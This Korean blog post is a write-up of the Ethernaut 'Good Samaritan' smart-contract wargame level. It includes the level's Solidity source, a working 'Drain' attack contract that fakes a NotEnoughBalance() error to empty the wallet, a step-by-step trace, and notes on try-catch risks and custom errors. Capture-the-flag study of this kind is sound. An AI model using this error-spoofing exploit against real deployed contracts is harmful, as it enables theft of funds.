티스토리 뷰

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.

Would you be able to drain all the balance from his Wallet?

Things that might help:

- Solidity Custom Errors

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

2. 풀이

 선한 사마리아인의 지갑에서 모든 자금을 탈취해야 합니다. (마음이 편하지만은 않네요)

 

 공격 컨트랙트는 다음과 같습니다.

contract Drain is INotifyable {
    error NotEnoughBalance();

    address public samaritan;

    constructor(address _samaritan) {
        samaritan = _samaritan;
    }

    function notify(uint256 amount) external {
        if (amount == 10) {
            revert NotEnoughBalance();
        }
    }
    
    function drain() external {
        GoodSamaritan instance = GoodSamaritan(samaritan);
        instance.requestDonation();
    }
}

 GoodSamaritan 컨트랙트의 주소를 인수로 사용하여 컨트랙트를 배포해 줍니다.

 배포한 컨트랙트의 drain 함수를 호출합니다.

 선한 사마리아인의 지갑에서 모든 자금을 인출했습니다. 어떻게 아냐구요? 아래에서 살펴보겠습니다.

 

 인스턴스를 제출하고 마무리합니다.


3. 공격 과정 풀이

1. 지갑에는 10**6 만큼의 자금이 들어있습니다.

constructor(address wallet_) {
    // one million coins for Good Samaritan initially
    balances[wallet_] = 10 ** 6;
}

2. Drain 공격 컨트랙트의 drain 함수를 실행합니다.

function drain() external {
    GoodSamaritan instance = GoodSamaritan(samaritan);
    instance.requestDonation();
}

3. drain 함수의 두 번째 줄에서 GoodSamaritan 컨트랙트의 requestDonation 함수를 실행합니다.

function requestDonation() external returns (bool enoughBalance) {
    // donate 10 coins to requester
    try wallet.donate10(msg.sender) {
        return true;
    } catch (bytes memory err) {
        if (
            keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
            keccak256(err)
        ) {
            // send the coins left
            wallet.transferRemainder(msg.sender);
            return false;
        }
    }
}

4. try-catch 구문에서 Wallet 컨트랙트의 donate10 함수를 실행합니다.

try wallet.donate10(msg.sender) {
    return true;
} catch (bytes memory err) {
    ...
}

5. Coin 컨트랙트의 transfer 함수를 호출하여 Drain 컨트랙트에게 10개의 토큰을 전송합니다. 

function donate10(address dest_) external onlyOwner {
    // check balance left
    if (coin.balances(address(this)) < 10) {
        revert NotEnoughBalance();
    } else {
        // donate 10 coins
        coin.transfer(dest_, 10);
    }
}

6. if절에서 토큰 전송 대상이 컨트랙트임을 확인하고, if절 안에서 dest_에 대해 notify 함수를 실행합니다.

function transfer(address dest_, uint256 amount_) external {
    uint256 currentBalance = balances[msg.sender];

    // transfer only occurs if balance is enough
    if (amount_ <= currentBalance) {
        balances[msg.sender] -= amount_;
        balances[dest_] += amount_;

        if (dest_.isContract()) {
            // notify contract
            INotifyable(dest_).notify(amount_);
        }
    } else {
        revert InsufficientBalance(currentBalance, amount_);
    }
}

7. Drain 컨트랙트의 notify 함수는 amont가 10인 경우, NotEnoughBalance 오류를 반환합니다.

function notify(uint256 amount) external {
    if (amount == 10) {
        revert NotEnoughBalance();
    }
}

8. 자금 전송에 실패하고, 오류는 호출 스택을 타고 올라가 requestDonation 함수의 try-catch 구문에서 catch 블록으로 넘어가게 됩니다. 오류의 시그니처가 'NotEnoughBalance()' 임을 확인하고 Drain 컨트랙트에게 지갑에 남은 모든 자금을 전송하기 위해 transferRemainder 함수를 실행합니다.

try wallet.donate10(msg.sender) {
    return true;
} catch (bytes memory err) {
    if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
        // send the coins left
        wallet.transferRemainder(msg.sender);
        return false;
    }
}

9. Coin 컨트랙트의 transfer 함수를 호출하여 지갑에 남은 모든 자금을 Drain 컨트랙트로 전송합니다. 전송되는 토큰의 양은 10**6개 입니다.

function transferRemainder(address dest_) external onlyOwner {
    // transfer balance left
    coin.transfer(dest_, coin.balances(address(this)));
}

10. 앞서 donate10 함수를 실행하여 10개의 토큰을 전송할 때와 마찬가지로 토큰 전송 대상이 컨트랙트이므로, 컨트랙트의 notify 함수를 실행합니다.

function transfer(address dest_, uint256 amount_) external {
    uint256 currentBalance = balances[msg.sender];

    // transfer only occurs if balance is enough
    if (amount_ <= currentBalance) {
        balances[msg.sender] -= amount_;
        balances[dest_] += amount_;

        if (dest_.isContract()) {
            // notify contract
            INotifyable(dest_).notify(amount_);
        }
    } else {
        revert InsufficientBalance(currentBalance, amount_);
    }
}

11. 이번에는 amount가 10**6이므로 오류가 반환되지 않습니다.

function notify(uint256 amount) external {
    if (amount == 10) {
        revert NotEnoughBalance();
    }
}

12. 남은 모든 자금을 전송하고 requestDonation 함수는 false를 반환합니다. 그러나 이미 모든 자금을 탈취했기 때문에 이는 전혀 문제될 것이 없습니다.

function requestDonation() external returns (bool enoughBalance) {
    // donate 10 coins to requester
    try wallet.donate10(msg.sender) {
        return true;
    } catch (bytes memory err) {
        if (
            keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
            keccak256(err)
        ) {
            // send the coins left
            wallet.transferRemainder(msg.sender);
            return false;
        }
    }
}

4. 위험 요소

1. try-catch 구문

 이 문제에서는 try-catch 구문을 사용해서 오류를 적절하게 처리하고자 했지만, 예측이 어려운 외부 함수의 동작으로 인해 결과적으로 지갑에 든 모든 자금을 탈취당하게 됩니다. try-catch를 사용하지 않고 오류가 발생했을 때 revert해버렸다면 일어나지 않았을 문제입니다.

 

 예외 처리를 꼼꼼히 하는 것은 분명 중요하지만 예측하기 어려운 외부 함수의 동작까지 완벽하게 처리하기란 여간 쉬운 일은 아닐 것입니다. 사용함에 있어 신중함이 필요한 것 같습니다.

2. 인터페이스

interface INotifyable {
    function notify(uint256 amount) external;
}

 이 문제를 해결하는 데 있어서 인터페이스 구현에 모든 것이 달려있다고 해도 과언이 아닐정도로 만악의 근원인 친구입니다. 인터페이스는 구현체에 따라 동작이 다르기 때문에 예측하기 어려운 환경을 더 예측하기 어렵게 만듭니다. 따라서 인터페이스가 아닌 구체화된 컨트랙트에 의존하는 것도 좋은 방법입니다.


5. 커스텀 에러

 solidity 0.8.x 버전부터는 커스텀 에러를 정의하여 사용할 수 있습니다.

error NotEnoughBalance();

 커스텀 에러를 사용할 경우, 우선 다음과 같이 가스비가 절약된다는 장점이 있습니다. 다음 코드에 예측된 가스 소모량을 확인해 보면, 커스텀 에러를 반환한 경우와 그렇지 않은 경우에 약 210 가스의 차이가 발생하는 것을 확인할 수 있습니다.

 

 또 다른 장점은 커스텀 에러의 시그니처 또는 선택자를 사용하여 오류의 종류를 식별하기가 쉽습니다. 문제에서는 시그니처를 사용했는데, 'NotEnoughBalance.selector'를 사용해 선택자를 가져올 수도 있습니다. 여기서 keccak256을 굳이 사용하는 이유는 bytes 타입은 비교 연산자를 사용해 직접 비교하는 것이 불가능하기 때문입니다.

contract Check {
    error NotEnoughBalance();
    
    function checkCustomErr() public {
        try this.throwCustomErr() {
            
        } catch (bytes memory err) {
            require(keccak256(err) == keccak256(abi.encodeWithSelector(NotEnoughBalance.selector)));
            require(keccak256(err) == keccak256(abi.encodeWithSignature("NotEnoughBalance()")));
        }
    }

    function throwCustomErr() public pure {
        revert NotEnoughBalance();
    }
}

6. 마치며

 중간에 문제를 또 건너뛰고 29번을 먼저 풀었는데, 이는 제가 프록시 컨트랙트에 대해 잘 몰라서 이에 대한 공부를 먼저 하고 문제를 풀어보고 싶어서 그렇게 한 것입니다. 정말 공부에는 끝이 없네요. 크립토 좀비도 뭔가 많이 바뀌어서 재밌어 보이는데 이거 마무리하면 한 번 풀어볼 생각입니다. 그럼 다음 문제로 다시 돌아오겠습니다.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 29. Switch  (0) 2024.02.07
[Ethernaut] 28. Gatekeeper Three  (1) 2024.02.06
[Ethernaut] 23. Dex Two  (0) 2024.02.04
[Ethernaut] 22. Dex  (0) 2024.02.03
[Ethernaut] 21. Shop  (0) 2024.02.02
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함